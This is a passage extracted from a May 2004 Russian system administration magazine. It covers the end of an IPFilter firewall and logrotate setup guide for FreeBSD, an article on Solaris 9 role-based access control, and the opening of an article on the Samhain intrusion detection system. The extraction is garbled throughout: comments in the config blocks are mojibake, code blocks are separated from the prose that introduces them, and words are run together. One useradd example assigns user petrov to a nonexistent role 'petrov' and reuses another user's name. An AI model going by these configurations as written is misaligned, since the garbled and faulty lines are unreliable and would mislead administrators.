# îòêëþ÷àåì NAT-äåìîí, îñòàâøèéñÿ îò IPFWnatd_enable="NO"# çàïóñê IPFilter ïðè ñòàðòå ñèñòåìûipfilter_enable="YES"# ïóòü ê êîìàíäå ipf, åñëè âàì íåèçâåñòåí whereis, ipf âàì ïîìîæåòipfilter_program="/sbin/ipf"# ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè ôèëüòðàöèèipfilter_rules="/etc/ipf.rules"# çàïóñê ipnat ïðè ñòàðòå ñèñòåìûipnat_enable="YES"# ïóòü ê êîìàíäå ipnat, îïÿòü æå íàõîäèòñÿ ïî whereis ipnatipnat_program="/sbin/ipnat"# ïîëíûé ïóòü ê ôàéëó ñ ïðàâèëàìè òðàíñëÿöèè è ðåäèðåêòàipnat_rules="/etc/ipnat.rules"# äîïîëíèòåëüíûå ïàðàìåòðû êîìàíäû ipnatipnat_flags=""# çàïóñê ipmon ïðè ñòàðòå ñèñòåìûipmon_enable="YES"# ïóòü ê êîìàíäå ipmon, òóò óæå ïîíÿòíî, äà?ipmon_program="/sbin/ipmon"# ïàðàìåòðû êîìàíäû ipmonipmon_flags=" -D /var/log/ipmon.log &"

options IPFILTER # âêëþ÷àåì ïîääåðæêó ipfoptions IPFILTER_LOG # ëîãèðîâàíèå ipf

pseudo-device bpf 4

Page 44: 018 Системный Администратор 05 2004

42

администрирование

Кроме вышеописанных возможностей, в пакет IPFilterвходят различные дополнительные утилиты, позволяющиеконтролировать функционирование межсетевого экрана,такие как, например, ipfstat или ipmon. Последнюю, к сло-ву сказать, мы использовали для ведения лога IPFilter. Раз-личие между утилитами ipfstat и ipmon в том, что перваяпоказывает общую статистику работы IPFilter, а втораяфиксирует каждый пакет, подпавший под такое из пра-вил, для которого указана опция log. Если вы посмотритев /var/log/, то увидите там довольно быстро растущий файлс именем ipmon.log – именно его мы описали в rc.conf, какфайл протокола для ipmon.

Утилита ipmon, входящая в дистрибутив IPFilter, кото-рую мы использовали для формирования файла протоко-ла нашего пакетного фильтра, записывает всю информа-цию о его работе в файл /var/log/ipmon.log:

Если при первом запуске ipmon не находит указанныйв качестве параметра файл протокола, то он будет созданименно с такими правами, как указано выше.

При достаточно большой нагрузке (порядка 200-300 Мбтрафика в сутки) файл протокола разрастается тоже не-маленькими темпами, а дисковое пространство небезг-ранично. Поэтому надо предусмотреть и ротацию этогофайла, то есть периодическое архивирование, его «обну-ление» и перезапуск ipmon. Каждый системный админис-тратор решает подобные задачи, исходя из собственногоопыта, знаний и умений. Я расскажу о возможном реше-нии с помощью утилиты logrotate.

Эта утилита стала уже стандартом де-факто для авто-матической ротации файлов протоколов операционной си-стемы и прикладного программного обеспечения. Стран-но, что по умолчанию ее не оказалось в поставке FreeBSD-4.9 RELEASE, но она есть в портах. Коротко расскажу проустановку. Тут совсем просто (никаких коллизий возник-нуть не должно, за исключением установки недостающихпакетов, но на то она и установка из портов, чтобы всесделать самостоятельно):

После того как компиляция и установка завершены, сто-ит внимательно изучить руководство к утилите logrotate,поэтому:

Внимательно изучив это руководство, легким движе-нием руки создаем свой файл конфигурации logrotate:

Затем добавляем в только что созданный предыдущейоперацией файл logrotate.conf следующие строки:

После того как мы отредактировали файл конфигура-ции logrotate.conf, вносим в /etc/crontab следующую строку:

Теперь ротация файла протокола IPFilter будет произ-водиться 1 раз в сутки. Решение не единственное – архи-вирование, «обнуление» файла протокола и перезапуск вслучае необходимости использующего его процесса мож-но реализовать несколькими способами, в частности спомощью syslogd или посредством создания собственно-го сценария на shell/PERL etc.

При первом запуске IPFilter в /dev/ появится наряду спрочими необходимыми устройство ipl, из которогоipmon&ipfstat и читают необходимые данные о жизнедея-тельности пакетного фильтра. А при отключении межсе-тевого экрана в ядре и пересборки/установки последнегоэти устройства будут удалены из /dev.

Обратимся же теперь к такому немаловажному воп-росу, как манипулирование правилами фильтрации итранслирования. Ведь не станем мы каждый раз пере-загружать сервер после изменения файлов ipf.rules и/илиipnat.rules – будем использовать соответствующие коман-ды ipf и ipnat.

В IPFilter есть два типа наборов правил (ruleset) – ак-тивный и неактивный. По умолчанию все операции (заг-рузка/сброс правил) производятся над активным набором.Неактивный (манипулирование этим набором осуществ-ляется с помощью параметра -I команды ipf) может бытьполезен при отладке – его использование помогает про-тестировать новые правила без сброса активного набораправил и вмешательства таким образом в работу «боево-го» межсетевого экрана. Переключение между двумя на-борами active/inactive производится с помощью парамет-ра командной строки -s. Таким образом, мы можем со-здать копию работоспособного набора правил, сохранивего с другим именем, и использовать его потом для тести-рования и отладки изменений.

Чтобы загрузить правила IPFilter, воспользуемся такойкомандой:

# cd /usr/ports/sysutils/logrotate# make# make install

# man logrotate

# cd /usr/local/etc/logrotate.conf.sample# cp logrotate.conf.sample logrotate.conf

# íà÷àëî îïèñàíèÿ, óêàçûâàåì ïóòü, ê ôàéëó ïðîòîêîëà/var/log/ipmon.log {

daily # ïåðèîäè÷íîñòü ðîòàöèè � åæåäíåâíîrotate 14 # êîëè÷åñòâî õðàíèìûõ ôðàãìåíòîâmissingok # îòñóòñòâèå ôàéëà ipmon.log íå ÿâëÿåòñÿ

# îøèáêîénotifempty # íå îáðàáàòûâàòü, åñëè ôàéë ïóñòîénoolddir # äåðæàòü âñå ôàéëû â îäíîì è òîì æå

# êàòàëîãåcompress # ñæèìàòü «ðîòèðîâàííûå» ôðàãìåíòûpostrotate # çäåñü ìû îïèñûâàåì, ÷òî íóæíî ñäåëàòü

# ïîñëå ðîòàöèè � ïåðåçàïóñòèòü ïðîöåññ# ipmon

/sbin/killall �HUP ipmonendscript # êîíåö îïèñàíèÿ äåéñòâèé ïîñëå ðîòàöèè

} # êîíåö îïèñàíèÿ ðîòàöèè ôàéëà ïðîòîêîëà# IPFilter

0 1 * * * /usr/local/sbin/logrotate �s ↵↵↵↵↵/var/lib/logrotate.status /usr/local/etc/logrotate.conf

# ipf -Fa -f /etc/ipf.rules

Page 45: 018 Системный Администратор 05 2004

43№5(18), май 2004

администрирование

1 Во всяком случае, распространяемая на UNIX-подоб-ных ОС. Для ОС семейства Windows IPFilter работаетв окружении Cygwin.

2 Впрочем, и долгое разбирательство, которое выявилоконфликт с передачей параметров IPFilter, должногоэффекта не возымело, к сожалению.

3 Предполагается, что читатель в достаточной мере зна-ком с принципами работы межсетевого экрана. В про-тивном случае могу посоветовать книги Building InternetFirewall, Chapman&Zwicky, O’Reilly and Associates и TCP/IP Illustrated, Vol.7, Stevens, Addison-Wesley.

4 Здесь мы намеренно начнем не с того, как «включить»,а с того, как «подготовиться к включению».

5 Для блокируемых пакетов. Иногда полезно вводить взаблуждение злоумышленника, подсовывая ему , на-пример, «Destination host is unreachable» или RST вме-сто того, чтобы просто сбросить пакет, что будет сви-детельствовать о наличии пакетного фильтра, тогда какв этом случае фильтрация будет скрытой. Однако про-стой сброс пакетов защитит от некоторых типов атакна переполнение ресурсов.

6 Предполагается, хотя это и не играет ключевой роли,что все описанные сервисы находятся на том же сер-вере, где мы «строим» firewall. Замечание: вообще припостроении межсетевых экранов считается дурнымтоном размещать публичные сервисы (такие как SMTP,FTP или HTTP) на тех же серверах, т.к. это снижаетобщий уровень защиты, но и не всегда в небольшихсетях есть возможность разнести эти службы.

7 То есть запрещаем все и будем по мере необходимос-ти добавлять разрешающие правила, а не наоборот – яисхожу из того, что из потенциально возможных 65535портов разрешения требуются меньшей части, однаконе исключено, что для начала вам придется восполь-зоваться запретительной практикой (см. далее о кон-фигурировании ядра системы для запуска IPFilter).

8 Очень часто при попытках атак злоумышленники ис-пользуют подделку технической информации в паке-те, заменяя реальный адрес источника на адрес из не-маршрутизируемой сети 127/8.

9 Имеется в виду запись информации о пакете в файлпротокола.

10 Это мы будем регулировать ключевым словом quick вописании правил фильтрации.

11 Данный документ можно найти по адресу: http://www.obfuscation.org/ipf/.

12 В ipfw/ipfwadm также реализованы алгоритмы защитыот подобных действий злоумышленников (директивыsetup/established).

13 NPAT – Network and PortAddress Translation – позволя-ет подменить не только адрес, но и порт источника илиназначения пакета.

14 О том, какие наборы правил различает IPFilter.15 См. RFC-1918 «Address Allocation for Private Internets».16 Подробнее о модуле ipnat можно прочитать в IPFilter

Based Firewalls HOWTO, о котором не раз упоминает-ся в этой статье.

17 К слову сказать, на днях я натолкнулась на патч дляфайла rc.firewall, позволяющий использовать его и дляконфигурирования IPFilter: http://www.swcp.com/~synk/ipfmerge.patch.

18 Поскольку поддержка IPFilter реализована на уровнеядра операционной системы, как таковая установкаможет потребоваться только в случае смены версии, иее мы рассмотрим далее. В ядро FreeBSD 4.9-RELEASEвключена поддержка IPFilter v. 3.4.31(336).

19 Все доступные опции ядра можно посмотреть в файлеописания опций ядра вашей версии ОС – LINT, кото-рый располагается там же, где и файл конфигурацииядра ОС.

20 Разумеется, речь идет об общем количестве инци-дентов. Но ведь никто не оградит вас от наличия вколлективе какого-нибудь cool-hacker? Да и firewallлучше задействовать и для внутреннего сетевого ин-терфейса – по аналогии с внешним, думаю, это бу-дет несложно сделать, исходя из конкретных обсто-ятельств.

21 В ближайшее время планируется написание статьи обиспользовании таких возможностей IPFilter, как груп-пы правил и ведение нескольких файлов протоколов.

Эта команда сбросит текущий активный набор правили загрузит в него правила, описанные в указанном файлеipf.rules. Для ipnat подобная команда будет выглядеть сле-дующим образом:

Вообще говоря, параметры командной строки у ipf и ipnatво многом совпадают, но все же не мешает внимательноизучить соответствующие разделы man-страниц для полу-чения более полной информации об этих командах.

ЗаключениеХочется отметить, что здесь описаны только основы21 по-строения межсетевого экрана на базе IPFilter, достаточ-ные для того, чтобы быстро развернуть его на сервере сминимальными затратами времени. Однако рассмотрен-ными в данной статье возможности IPFilter не ограничи-

ваются. За рамками нашего разговора остались созда-ние групп правил, уровни ведения логов и многое другое.Все это можно найти в упоминавшемся уже несколько раздокументе IPFilter Based Firewalls HOWTO, MAN-страни-цах и в различных сборниках FAQ, разбросанных на про-сторах Сети. А поскольку главный критерий теории – прак-тика, экспериментируйте, господа!

При написании данной статьи использовались следу-ющие документы:1. IPFilter Based Firewalls HOWTO – http://www.obfuscation.org/

ipf/2. FreeBSD firewall using IP Filter by Hoang Q. Tran3. IPFilter FAQ – http://www.phildev.net/ipf/index.html4. IPFilter Examples – http://coombs.anu.edu.au/~avalon/

examples.html5. Test the firewall system – http://www.cert.org/security-

improvement/practices/p060.html

# ipnat -CF -f /etc/ipnat.rules

Page 46: 018 Системный Администратор 05 2004

44

администрирование

ROLE BASED ACCESS CONTROL (RBAC)В SOLARIS 9

ДМИТРИЙ СЕЛЕЗНЕВДМИТРИЙ СЕЛЕЗНЕВ

Page 47: 018 Системный Администратор 05 2004

45№5(18), май 2004

администрирование

Введение в RBACНе секрет, что в классических UNIX-системах суперполь-зователь root имеет все полномочия по управлению сис-темой. С другой стороны, возможности обычного пользо-вателя ограничены домашним каталогом и рядом пользо-вательских приложений. Однако в условиях чрезвычайновозросшей мощности серверных UNIX-систем, а следо-вательно, увеличения количества обслуживаемых поль-зователей и решаемых задач, усложнения периферии исовременных требований к безопасности, существует не-обходимость разделения административных полномочийна нескольких пользователей. В современных UNIX-сис-темах эта задача решается тем или иным способом. При-мером может служить всем известная технология sudo.

Рассмотрим, какие средства в этом контексте предос-тавляет нам ОС Solaris 9.

Role based access control (в дальнейшем RBAC) явля-ется чрезвычайно гибким и мощным антиподом упомяну-той классической радикальной двухуровневой схеме.RBAC позволяет делегировать определенные возможно-сти суперпользователя группам пользователей. Это по-зволяет им выполнять конкретные административные за-дачи. Например, управлять печатью, операциями резерв-ного копирования и т. д.

Основная идея RBAC заключается в предоставленииопределенных наборов прав суперпользователя группампользователей. Такой набор прав и называется ролью. От-дельные пользователи могут быть наделены несколькимиролями. Однако роль не может ссылаться на другую роль.

По отношению к использованию RBAC, стратегии уп-равления системой можно условно разделить на следую-щие категории:! Без использования RBAC. Это уже упомянутая клас-

сическая двухуровневая модель: все операции по ад-министрированию системы выполняются суперпользо-вателем (root).

! Использование роли root. Бюджет суперпользователяреализован в виде роли. Пользователи, принадлежащиек этой роли, входят в систему под своими именами, ауже после авторизуют себя в роли, выполняя su root.

! Используется одна роль на основе профайла PrimaryAdministrator. Практически аналогична второму пункту.

! Используются роли на основе предопределенных вSolaris Operating Environment (далее SOE) типовых про-файлах, таких как Primary Administrator, SystemAdministrator, Operator и т. д.

! Специальные пользовательские роли создаются длярешения отдельных задач, исходя из конкретной стра-тегии администрирования системы. Эти роли могут ос-новываться на наборах как предопределенных профай-лов, так и специально созданных.

В зависимости от конкретных потребностей организа-ции выбирается та или иная стратегия использования тех-нологии RBAC. Технология RBAC строится на двух базо-вых понятиях: профайл прав (rights profile) и авторизация(authorization)1.

Под профайлом прав понимается набор определенныхпривилегий, которые могут быть делегированы пользовате-

лю или роли. Профайл прав включает в себя авторизации,команды с атрибутами их выполнения и другие профайлы.

Как уже было отмечено выше, SOE включает в себянабор предопределенных профайлов прав, которые, помнению разработчиков Solaris, отвечают конкретным ти-повым задачам управления системой. Вот лишь некото-рые из них: Basic Solaris User, Operator, Media Backup, UserSecurity, FTP Management. Помимо предопределенных про-файлов прав, можно создавать собственные профайлы.

Авторизация – определенное право доступа к той илииной компоненте системы, которым может быть пользо-ватель или роль. Существуют целые классы авторизаций.Для наглядности приведу пример:

Как несложно догадаться, каждая из трех приведенныхавторизаций отвечает за управление пользовательскимибюджетами: на это указывает префикс solaris.admin.usermgr.Первая позволяет читать информацию о пользовательс-ких бюджетах, вторая – их модифицировать, а третья раз-решает изменение пользовательских паролей.

Если авторизация заканчивается суффиксом grant, то онапозволяет делегировать права на все операции префикса.

Авторизации локальной системы всегда начинаются сослова «solaris», авторизации, предоставляемые другими си-стемами, начинаются с реверсивной записи DNS-именихоста2. Вообще говоря, помимо определенных в SOE авто-ризаций, новые локальные авторизации создавать нельзя.

Реализация RBAC в Solaris 9 базируется на 2 + 4 + 1 = 7базах данных. Почему 2 + 4 + 1?

Две первые базы – это стандартные для UNIX-системфайлы /etc/passwd и /etc/shadow. Назначение их извест-но, их структуру мы рассматривать здесь не будем. Я лишьпродемонстрирую место этих файлов в технологии RBAC.

Следующие четыре – это RBAC-специфические базы.Собственно, они и есть RBAC. Их-то мы и рассмотрим под-робно.

Первый из четырех – файл /etc/user_attr. Этот файл со-держит объявления ролей и пользователей с их профай-лами прав и авторизациями, а также определяет принад-лежность пользователей ролям. Каждая запись (строка)этого файла соответствует одноименной записи в фай-лах /etc/passwd и /etc/shadow. В определенном смыслеuser_attr является расширением базы пользовательскихбюджетов /etc/passwd.

Структура записей файла такова:

Каждое поле отделяется от другого двоеточием. Пер-вое поле – это имя пользователя или роли, второе, третьеи четвертое поля («нечто») в настоящее время пусты, онизарезервированы для возможного последующего исполь-зования в будущих версиях Solaris. В последующих опи-саниях форматов баз я буду эти поля просто оставлятьпустыми. Последнее поле содержит атрибуты, разделен-ные точкой с запятой. Атрибут состоит из названия типа

solaris.admin.usermgr.readsolaris.admin.usermgr.writesolaris.admin.usermgr.passwd

user/role name:íå÷òî1:íå÷òî2:íå÷òî3:ñïèñîê àòðèáóòîâ

Page 48: 018 Системный Администратор 05 2004

46

администрирование

атрибута, знака «=» и соответствующих ему значений, раз-деленных запятой.

Атрибуты бывают четырех типов:! type – указывает тип записи,! normal – соответствует обычному пользователю,! role – роли,! auths – содержит перечни авторизаций, разделенные

запятой.

Авторизации в качестве суффикса могут содержатьсимвол * для обозначения всех операций, определяемыхпрефиксом; profiles содержит перечень профайлов прав,разделенных запятой; roles содержит перечень ролей, ккоторым относится пользователь. Разумеется, этот атри-бут применим только для записей с типом normal, т.е. длязаписи пользователя, поскольку, как это было сказановыше, нельзя задавать роль на основе других ролей. Вкачестве примера приведу фрагмент файла /etc/user_attrмоей системы:

Запись master определяет основную административнуюроль на основе профайла Primary Administrator, записьivanov определяет пользователя и его принадлежность ролиmaster. Обратите внимание на то, что роль team построенана базе сразу четырех профайлов прав. Как следует изназвания профайлов, пользователи, принадлежащие к ролиteam, могут управлять сменными накопителями, произво-дить операции резервного копирования и восстановленияданных и управлять системой ведения log-файлов.

Второй из четырех – файл /etc/security/prof_attr. Файлявляется базой данных профайлов прав. Приведу структу-ру файла:

Атрибуты записей в этом файле бывают двух типов:! help – задает файл подсказки в формате html,! auths – содержит перечни авторизаций, разделенные

запятой.

Авторизации в качестве суффикса могут содержатьсимвол * для обозначения всех операций, определяемыхпрефиксом; profiles содержит перечень профайлов прав,разделенных запятой. Вот фрагмент файла prof_attr:

Как мы видим, роль team ссылается на профайлы прав,определенные в обсуждаемом файле. Заметим, что этабаза данных позволяет также определять профайлы правна основе ранее описанных профайлов.

Третий из четырех – файл /etc/security/auth_attr. Базаauth_attr описывает авторизации. Из всех RBAC-баз дан-ных это единственная база, которую нельзя редактиро-вать вручную, т.е. нельзя самостоятельно определять ав-торизации. Формат файла auth_attr следующий:

В настоящее время единственным возможным атри-бутом является указатель на help-файл. Возможно, что вследующих реализациях RBAC появятся и другие атрибу-ты, но пока он один. Пример фрагмента базы:

Обратите внимание на первую из приведенных строк:имя авторизации состоит из префикса и заканчиваетсяточкой. Такие записи служат для объявления оглавлениягруппы авторизаций одноименного префикса в програм-мах с графическим интерфейсом.

И наконец, четвертый файл – /etc/security/exec_attr. Этабаза определяет соответствие профайлов прав конкрет-ным командам и атрибутам их выполнения. Структурафайла такова:

В текущей реализации RBAC поле policy может прини-мать единственное значение – suser (суперпользователь),а тип может быть только cmd (команда). Под командойподразумевается полный путь к исполняемому файлу илиshell-скрипту; если в поле команды стоит символ *, то этоозначает любую команду. Атрибуты, как и раньше, разде-ляются точкой с запятой и могут быть четырех типов:! uid – идентификатор пользователя,! euid – эффективный идентификатор пользователя,! gid – идентификатор группы,! egid – эффективный идентификатор группы.

Последний из рассматриваемых файлов (помните, +1)/etc/security/policy.conf. Он задает авторизации и профай-лы прав, предоставляемые пользователю по умолчанию.Как видно из примера, файл содержит две записи:

Разумеется, значения этих двух полей должны бытьопределены в файлах auth_attr и prof_attr.

# Copyright (c) 1999-2001 by Sun Microsystems, Inc.# All rights reserved.## /etc/user_attr## user attributes. see user_attr(4)##pragma ident "@(#)user_attr 1.5 01/12/11 SMI"#root::::auths=solaris.*,solaris.grant;profiles=Alllp::::profiles=Printer Managementadm::::profiles=Log Managementmaster::::type=role;profiles=Primary Administratorteam::::type=role;profiles=Device Management, ↵↵↵↵↵

Media Backup,Media Restore,Log Managementivanov::::type=normal;roles=masterpetrov::::type=normal;roles=team

profile_name:::îïèñàíèå:àòðèáóòû

Device Management:::Control Access to Removable Media: ↵↵↵↵↵auths=solaris.device.*,solaris.admin.serialmgr.*; ↵↵↵↵↵help=RtDeviceMngmnt.htmlAll:::Execute any command as ↵↵↵↵↵

auth_name:::êðàòêîå îïèñàíèå:ïîäðîáíîå îïèñàíèå:àòðèáóòû

solaris.device.:::Device Allocation::help=DevAllocHeader.htmlsolaris. ↵↵↵↵↵

device.grant:::DelegateDevice Administration::help=DevGrant.html.

prof_name:policy:òèï:::êîìàíäà:àòðèáóòû

# Copyright 1999-2002 Sun Microsystems, Inc.# All rights reserved.# Use is subject to license terms.AUTHS_GRANTED=solaris.device.cdrwPROFS_GRANTED=Basic Solaris User

the user or role:help=RtAll.html

Page 49: 018 Системный Администратор 05 2004

47№5(18), май 2004

администрирование

Взаимодействие компонентов RBAC

Поясню связи компонентов RBAC комментариями.Прежде всего напомню, что каждой записи в user_attr

соответствуют одноименные записи в файлах /etc/passwdи /etc/shadow.

Стоит обратить внимание на то, что в строках ролейфайла /etc/passwd в поле командного интерпретаторастоит не обычный пользовательский shell (bash, csh, sh),а так называемый «профайловый» shell (profile shell) с пре-фиксом pf:

Когда пользователь авторизуется в роли, то запуска-ется соответствующий profile shell, и в дальнейшем всекоманды выполняются при помощи pfexec с текущимиполномочиями, которые определены в роли.

Записи в /etc/user_attr, обозначающие пользователей,могут ссылаться на описанные в нем же роли.

Атрибуты auths и profiles ссылаются соответственно наавторизации (файл /etc/security/auth_attr) и профайлы прав(файл /etc/security/prof_attr).

Записи профайлов прав в файле /etc/security/prof_attrссылаются на:! другие профайлы, определенные в этом же файле;! авторизации, описанные в файле auth_attr;! одну или несколько строк в файле /etc/security/exec_attr,

которая и начинается с имени данного профайла.

Управление RBACОперационное окружение Solaris (SOE) предусматриваеттри способа управления ролевыми бюджетами. Самым«цивилизованным» способом является управление припомощи утилиты с графическим интерфейсом SolarisManagement Console (smc)3.

На рис. 2 показано окно Solaris Management Console.Я не думаю, что стоит подробно рассказывать об управ-лении ролями и пользовательскими бюджетами при по-мощи этой утилиты: человек, знакомый с графическимиоболочками и понимающий концепции и структуру RBAC,без труда разберется. Замечу лишь, что для управленияролями и пользовательскими бюджетами, разумеется,необходимы соответствующие права. Альтернативой ис-

пользования утилиты smc является набор консольных ути-лит. Перечислим их и приведем их назначение.

Информационные команды:! auths – выводит перечень авторизаций, которыми об-

ладает пользователь(и). Выполнение этой команды безпараметров выводит список авторизаций текущегопользователя.

! profiles – выводит перечень профайлов, которыми об-ладает пользователь(и).

! roles – выводит имена ролей, к которым принадлежитпользователь(и).

Команды useradd, userdel, usermod и roleadd, roledel,rolemod позволяют добавлять, удалять и изменять поль-зователей и роли соответственно.

Утилита smrole управляет ролями и позволяет добав-лять и удалять пользователя в роль. smprofile и smexecуправляют содержимым баз prof_attr и exec_attr.

Утилиты, название которых начинается с sm, требуютзапущенной Solaris Management Console. Подробная ин-формация об этих командах и их опциях содержится в man-страницах (1M), мы же ограничимся несколькими просты-ми примерами использования. Вернемся к рассмотренно-му нами фрагменту файла user_attr:

Приведу здесь команды, при помощи которых созданыроли master и team, пользователи ivanov и petrov, принад-лежающие к соответствующей роли. Создаем роль master:

В опции -d указывается домашний каталог роли, ключ-m разрешает автоматическое создание каталога, если та-ковой не существует. Опция -c задает комментарий, а -P –перечень профайлов прав, на которых должна базировать-ся роль.

Создаем роль team:

Обратите внимание на то, что при перечислении про-файлов прав между запятой и именем следующего про-файла пробелов быть не должно. Разумеется, задаватьможно только существующие профайлы, определенные вфайле /etc/security/prof_attr. Добавляем пользователяivanov и определяем его принадлежность роли master:

Добавляем пользователя petrov и определяем его при-надлежность роли team:

Ðèñóíîê 1. Êîìïîíåíòû RBAC è âçàèìîäåéñòâèå ìåæäó íèìè

...team:x:102:1:Operators' Team:/export/home/team: ↵↵↵↵↵/bin/pfshivanov:x:103:1:V. Ivanov:/export/home/ivanov: ↵↵↵↵↵/usr/bin/bash...

...master::::type=role;profiles=Primary Administratorivanov ↵↵↵↵↵::::type=normal;roles=masterteam::::type=role; ↵↵↵↵↵profiles=Device Management,Media Backup,Media Restore, ↵↵↵↵↵Log Managementpetrov::::type=normal;roles=team...

# roleadd -m -d /export/home/master -c "Main Admins" ↵↵↵↵↵-P "Primary Administrator" master

# roleadd -m -d /export/home/team -c "Operators' team" ↵↵↵↵↵-P "Device Management,Media Backup,Media Restore, ↵↵↵↵↵Log Management" team

master:#useradd -m -d /export/home/ivanov -c "V. Ivanov" ↵↵↵↵↵-s /usr/bin/bash -R master

#useradd -m -d /export/home/petrov -c "V. Ivanov" ↵↵↵↵↵-s /usr/bin/bash -R petrov

Page 50: 018 Системный Администратор 05 2004

48

администрирование

Полагаю, что две последние команды не нуждаются вкомментариях.

Помимо двух рассмотренных подходов в управленииролями есть и третий: прямое редактирование баз дан-ных RBAC (как уже сказано, кроме файла /etc/security/auth_attr), но этот подход не рекомендован разработчика-ми из Sun Microsystems по причине «возможных синтак-сических ошибок».

Список используемых источников:1. System Administrator Guide: Security Services, Sun

Microsystems, Inc.2. Advanced System administration for the Solaris 9 Operating

Environment, Sun Microsystems, Inc.

Ðèñóíîê 2. Solaris Management Console3. System Administration Guide: Basic Administration, Sun

Microsystems, Inc.4. man pages section 1M: System Administration Commands,

Sun Microsystems, Inc.

1 На русском языке названия этих понятий звучат не-сколько неказисто, но это извечная проблема перево-да англоязычной компьютерной терминологии.

2 В данной статье мы не рассматриваем технологиюRBAC в контексте взаимодействия с доменами NIS иNIS+, все рассматриваемые нами примеры относятсяк локальной системе.

3 В составе Solaris 9 поставляется Solaris ManagementConsole 2.1.

Page 51: 018 Системный Администратор 05 2004
Page 52: 018 Системный Администратор 05 2004

50

безопасность

ЦЕНТРАЛИЗОВАННОЕОБНАРУЖЕНИЕ ВТОРЖЕНИЯ

С SAMHAIN

СЕРГЕЙ ЯРЕМЧУК

Page 53: 018 Системный Администратор 05 2004

51№5(18), май 2004

безопасность

На сегодняшний день существует достаточное количествотехнологий, позволяющих защитить систему от вторже-ния извне. На первом рубеже нападающего встретитfirewall, защищающий против злонамеренного/нежела-тельного трафика из внешней/внутренней сети, но он дол-жен все равно пропускать часть пакетов из/во внутрен-ней сети, иначе перестанут работать полезные сервисы.Проще, наверное, вообще отключить такую сеть от Ин-тернета, и совсем он бесполезен против некоторых атаквроде перебора пароля или направленных на уязвимостив легальном сервисе.

Поэтому добавляют следующий уровень защиты, се-тевые системы обнаружения атак – Network IntrusionDetection System (NIDS), которые по известным сигнату-рам обнаруживают злонамеренный трафик, но подчас бес-полезны против новых неизвестных методов атак. И опятьже не защищают от перебора пароля.

Поэтому на следующем шаге применяют уже «инди-видуальные» host-based системы, позволяющие обнару-жить вторжение, например, производя контроль целост-ности файловой системы, некоторые реализации вродеLogcentry или Hostcentry позволяют обнаружить вторже-ние (и даже попытку) методом анализа лог-файлов или,используя технологию Login Anomaly Detection, исследо-вать подозрительные действия на входе в систему. Плюсдля повышения защиты стоит добавить систему защитыот LKM rootkits вроде rkdet (http://vancouver-webpages.com/rkdet/).

Используя все эти технологии вместе, дополнительноналожив на ядро патч вроде LIDS (http://www.lids.org/), по-зволяющий контролировать доступ к важным данным,можно надежно запереть как сеть, так и отдельные ком-пьютеры. Но есть одно неудобство. Принцип KISS (Keep ItSimple Stupid) хорошо любимый программистами UNIX-систем, когда программа выполняет только одну малень-кую функцию, но хорошо, а при необходимости более ши-роких возможностей все необходимое просто склеивает-ся при помощи скриптов, в этом случае только может по-мешать. Так начинающему админу приходится кроме на-стройки нескольких необходимых для работы сервисов,ставить и разбираться еще во всех приложениях защиты.Но это хозяйство не только необходимо настроить и запу-стить, что подчас не так просто, так как большая частьопций настраивается при помощи конфигурационныхфайлов, без удобного интерфейса, но нужно и поддержи-вать всегда в самом свежем состоянии, и притом не наодном, а сразу на всех компьютерах в сети. Это толькоодна из проблем.

Другая состоит в том, что все эти приложения подчасникак не связаны между собой, поэтому выдаваемая имиинформация никак не централизована, поступает со всехкомпьютеров и в большом количестве, обычно в виде e-mail.Я думаю, что это основная причина, мешающая, несмот-ря на низкую стоимость, активному продвижению UNIX-подобных систем. Не каждый сможет все сразу осилить,и опыт приходит со временем и только с собственнымиошибками. Наверное, поэтому в настоящее время стано-вятся все более популярными комплексные решения за-щиты системы, объединяющие в себе несколько задач,

как правило, с возможностью централизованного управ-ления, обновления или хотя бы сбора данных, иногда сграфическим интерфейсом или возможностью настрой-ки через веб-интерфейс. Об одном из таких решений ипойдет речь в статье.

Samhain на сайте http://www.la-samhna.de/samhain/index.html назван «open source file integrity and host-basedintrusion detection system», т.е. относится к системам, за-щищающим отдельный хост. Но возможности даже поскромному перечислению просто впечатляют. Главное –это интеграция нескольких составляющих, позволяющаяполностью охватить практически все вопросы по защитесистемы, не распыляя внимание. Для работы достаточнонастроить одно-единственное приложение под свои нуж-ды и в дальнейшем при необходимости обновлять толькоего. Следующая немаловажная деталь, Samhain возмож-но настроить не только для защиты отдельного хоста, нои заставить работать в клиент-серверной реализации, ког-да датчики, установленные на удаленных узлах, отсыла-ют всю собранную информацию по зашифрованному ка-налу на отдельный сервер. При этом все обновления и кон-фигурационные файлы также могут быть централизован-но размещены на сервере и при загрузке забираться от-туда клиентами, что позволяет оперативно вносить изме-нения в настройки и легко производить обновление. Плюснесомненным преимуществом является возможность до-бавления своего модуля, о том, как это можно сделать,описано в документации, в частности в HOWTO-write-modules. Состоит система Samhain из трех компонентов:! клиента или реализации системы на отдельно стоящем

компьютере – samhain;! сервера, предназначенного для централизованного

сбора логов и управления клиентами – yule;! веб-консоли для удаленного управления – beltane.

Поддерживаются несколько вариантов оповещенияили отсылки собранной информации, e-mail, в которомиспользуется свой собственный код, реализующий отсыл-ку по протоколу SMTP, почта при этом подписывается воизбежание подделки, естественно syslog, при запуске ввиде daemon для вывода ошибок используется устройство/dev/console, которое может быть заменено, используяFIFO. Далее для хранения используется отдельный лог-файл, который также подписывается во избежание под-делки. Для централизованного сбора информации от не-скольких клиентов возможно использование отдельноголог-сервера, который использует протокол TCP и шифро-вание сообщений, также для хранения информации, со-бранной от клиентов, возможно использование RDBMSбазы данных. На эту роль подходят PostgreSQL, MySQL,имеется поддержка Oracle и unixODBC, но пока полнос-тью на них не протестирована. Дополнительно возможноиспользование и других внешних программ или выполне-ние определенных команд.

Samhain был протестирован на Linux, FreeBSD, AIX 4.x,HP-UX 10.20, Unixware 7.1.0, Solaris 2.6, 2.8 и Alpha/True64.Имеются данные об успешной работе на системах подуправлением OpenBSD и HP-UX 11 и, возможно, будетработать и под Mac OS X. Также возможен запуск на

Page 54: 018 Системный Администратор 05 2004

52

безопасность

